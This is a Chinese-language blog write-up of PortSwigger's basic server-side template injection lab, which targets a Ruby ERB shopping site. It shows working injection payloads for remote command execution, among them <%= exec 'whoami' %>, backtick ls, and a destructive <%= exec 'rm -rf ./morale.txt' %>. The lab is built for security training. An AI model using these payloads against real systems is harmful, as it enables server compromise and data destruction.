从业者-基本的服务端模板注入
# 实验室:基本的服务端模板注入
# 题目
由于 ERB 模板的不安全构造,此实验室容易受到服务端模板注入的攻击。
若要解决实验室问题,请查看 ERB 文档以了解如何执行任意代码,然后从 Carlos 的家目录中删除morale.txt
文件。
- name: 实验室-从业者
desc: 基本的服务端模板注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
bgColor: '#001350'
textColor: '#4cc1ff'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点。
当我点击第一个商品的 “View details” 按钮时,URL 中出现了一个GET
参数message
,该参数的值在网页中输出。
通过查看 Ruby ERB 模板引擎的文档,可以构建一个这样的表达式:<%=7*7%>
该表达式会进行数学运算,最终得到结果49
。
那么,该如何利用 ERB 执行任意命令呢?其实 ERB 表达式运行的就是 Ruby 代码,所以我寻找如何在 Ruby 中执行任意命令,然后发现了一篇文章:http://tech.natemurray.com/2007/03/ruby-shell-commands.html (opens new window)
这篇文章中记录了 6 种在 Ruby 中执行系统命令的方法。以下是其中 3 种:
# exec函数
exec 'whoami'
# system函数
system 'id'
# 反引号
`pwd`
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
我尝试注入<%= exec 'whoami' %>
,成功得到了当前用户的名称。
然后我注入以下表达式,发现自己位于 carlos 的家目录中。
<%= system 'pwd' %>
<%= `ls` %>
1
2
2
那就简单了,直接删除当前目录下的morale.txt
文件。
<%= exec 'rm -rf ./morale.txt' %>
1
删除成功,实验完成。
编辑 (opens new window)